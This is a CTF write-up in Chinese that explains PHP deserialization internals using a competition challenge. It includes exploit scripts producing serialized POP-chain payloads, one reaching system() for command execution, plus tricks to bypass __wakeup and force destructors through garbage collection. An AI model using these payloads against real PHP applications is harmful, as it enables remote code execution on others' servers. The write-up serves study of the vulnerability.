从一道CTF题目浅析反序列化错误时的php机制

神奇的反序列化

本文大部分结论来自于代码调试过程,环境为win11+phpstudy+xdebug

昨天某杯,队友看题我看球🐶,于是现在来补个总结

第四届浙江省赛原题

题目

<?php
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        echo 'flag{12345}';
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

一个反序列化,思路其实蛮清晰的,关键函数是Fun类的call_user_func函数,用这个来调用Test类的getFlag方法或者利用system函数进行RCE,如何触发call方法可以去看其他类的函数调用,发现恰好在A类的get方法中,触发get方法需要看其他类的属性访问,在B类的destruct方法中有。因此整个调用链就是

B->__destruct() ==> A->__get() ==> Fun->__call() ==> Test->getFlag() or system()

此时有两个问题需要解决,首先就是Func类的wakeup方法会在反序列化之前执行,将函数置为空破坏掉调用链的最后一环。第二个就是在最后一行代码,抛出异常来阻止反序列化开始。预期解其实也很常见,在php7的环境下可以使用修改元素个数来绕过wakeup、用强制gc回收来绕过异常。这个后面我们也会说到。我们先来看非预期。

非预期解

首先要说明,该方法只能在php7.4之前成功,笔者调试7.3.9成功,7.4.3失败

<?php

class Fun{
    public $func = 'system';
}
class Test{
}
class A{
    public $a;
}
class B{
    public $p;
}

$c=new Fun();
$b=new A();
$b->a=$c;

$a=new B();
$a->p="dir";
$a->a=$b;

$payload=serialize($a);
$payload=str_replace('}}}','}}',$payload);
echo $payload."\n";
echo urlencode($payload);
?>
/*运行结果是:
O:1:"B":2:{s:1:"p";s:3:"dir";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}
O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A3%3A%22dir%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D%7D
*/

可以看到,仅仅将最后的一个花括号删去即可。但是它是如何绕过这两个点的呢?

php反序列化机制

正常情况

我们首先来假设一个正常的情况,Func、A、B三个类的调用关系不变,且每个类中都定义了wakeup方法和destruct方法,那么我们执行反序列化操作时各个方法的调用顺序是怎样的呢?

Fun->__wakeup() ==> A->__wakeup() ==> B->__wakeup() ==> 执行其他php代码 ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct()

上述过程也不难理解,我们都知道wakeup方法会在反序列化前被调用,反序列化之后生成php对象,而当php结束时会对对象进行销毁,也就是为什么destruct方法会出现在最后。需要注意的就是类间的调用顺序,wakeup方法与destruct方法恰好相反。

出现错误

那么,当php反序列化出现错误,就例如上述的缺少最后一个花括号,整个调用顺序是怎样的呢?

根据以往做题的经验,destruct方法会提前执行,但是具体提前到哪一步呢?

Fun->__wakeup() ==> A->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码

可见,php在反序列化后立即就执行了销毁方法,但是在序列化前仍然需要先执行wakeup方法

但是这并不符合预期解的解题思路,wakeup方法还是会先执行,关键函数部分还是会被置空

那么我们改变一下成员函数试试看?

  • 调用关系不变,所有类中都定义了destruct方法,但只有Fun类定义了wakeup方法
B->__destruct() ==> Fun->__wakeup() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
  • 调用关系不变,所有类中都定义了destruct方法,但只有A类定义了wakeup方法
B->__destruct() ==> A->__wakeup() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
  • 调用关系不变,所有类中都定义了destruct方法,但只有B类定义了wakeup方法
B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
  • 调用关系不变,所有类中都定义了destruct方法,但Fun类和A类定义了wakeup方法
B->__destruct() ==> Fun->__wakeup() ==> A->__wakeup() ==>  A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
  • 调用关系不变,所有类中都定义了destruct方法,但Fun类和B类定义了wakeup方法
Fun->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
  • 调用关系不变,所有类中都定义了destruct方法,但A类和B类定义了wakeup方法
A->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码

发现什么规律了吗?

只有在B类中含有wakeup方法时,整个调用链才会以wakeup方法作为起始。其他情况下都要等B类的destruct方法执行后才会执行其他类的wakeup方法。

此时我们不妨大胆推测:

B类出现反序列化错误时,会提高B类的destruct方法的优先级,但是仍然要遵循wakeup、反序列化、destruct的执行顺序。当B类中定义了wakeup方法时,会先执行B类的wakeup方法,由于wakeup方法的调用关系,该类所有成员类的wakeup方法也会被先调用;当B类中未定义wakeup方法时,会先执行B类的destruct方法,再执行其他成员类的wakeup方法,最后执行其他成员类的destruct方法。

假设上述推测为真,此时我们来看题目

题目环境中只有Func类含有wakeup方法,只有B类含有destruct方法,那么预计的流程是

B->__destruct() ==> Fun->__wakeup() ==> 执行其他php代码

那么实际上的调用过程是怎样的呢?

根据调用堆栈来判断,wakeup函数在最后执行,避免了在关键函数位置被置空,而wakeup函数中含有die语句,也就是说执行到该句时php直接结束,也同时绕过了后续抛出异常的情况。

预期解

预期解的优势就在于php8之前均可成功执行

通过扩大元素数量来绕过wakeup方法是很常见的trick了,下面说一说绕过异常抛出的常规思路

<?php
class Fun{
    private $func ;
    public function __construct()
    {
        $this->func=['Test','getFlag'];
    }
}

class Test{
    public function getFlag(){
        system("echo flag{12345}");
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$test2=new Fun();
$test3=new A();
$test4=new B();

$test4->a= $test3;
$test3->a=$test2;
$c=array(0=>$test4,1=>NULL);
echo serialize($c)."\n";
echo urlencode(serialize($c));
/*运行结果是:
a:2:{i:0;O:1:"B":2:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"Funfunc";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}i:1;N;}
a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Test%22%3Bi%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7Di%3A1%3BN%3B%7D
此时我们需要修改payload,一个位置是元素个数,另一个位置是索引值,修改后的payload为
a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A2%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Test%22%3Bi%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7Di%3A0%3BN%3B%7D
*/

对比两个payload,可以发现我们将i:1;N;}改为了i:0;N;},就成功执行,这是为什么呢?

强制GC回收

我们先来看GC的机制

旧版GC是简单的引用计数机制,即变量被引用一次就在计数器上加一,当引用撤销或者终止后计数器就减一,当计数器为0后就进行回收。但是这里存在一个问题,即变量自己引用自己,此时计数器加二,但是终止后只减一,也就使得GC无法回收,会导致内存泄漏。

而在新的GC机制中,变量存储时包含其他两个标志信息。即变量是否属于引用变量,以及指向该变量所存储容器的变量个数。

那么如何触发GC强制回收呢?

刚才说到当引用计数为0时会触发,查阅php手册可知,当根缓存区达到上限时,也会触发垃圾回收机制

想要让根缓存区到达上限,需要引用多次,比较复杂。因此在比赛中主要考虑的还是构造引用计数为0

我们回看在exp中构造的数组$c=array(0=>$test4,1=>NULL);

我们最后进行的更改索引的操作相当于让这个数组变成了$c=array(0=>$test4,0=>NULL);

也就是说服务端反序列化获得数组后,我们首先让数组索引0指向$test对象,此时$test对象的引用计数为1,然后我们将索引0强行指向NULL,此时$test对象的索引减1变成了0,触发了垃圾回收,在回收过程中要对$test对象进行销毁,自然就调用了该对象所属类的destruct方法。

至此就解释了预期解的原理

参考

php手册 回收周期 https://www.php.net/manual/zh/features.gc.collecting-cycles.php

php手册 引用计数基本知识 https://www.php.net/manual/zh/features.gc.refcounting-basics.php

看云 深入理解php内核 https://www.kancloud.cn/kancloud/php-internals

上一篇
下一篇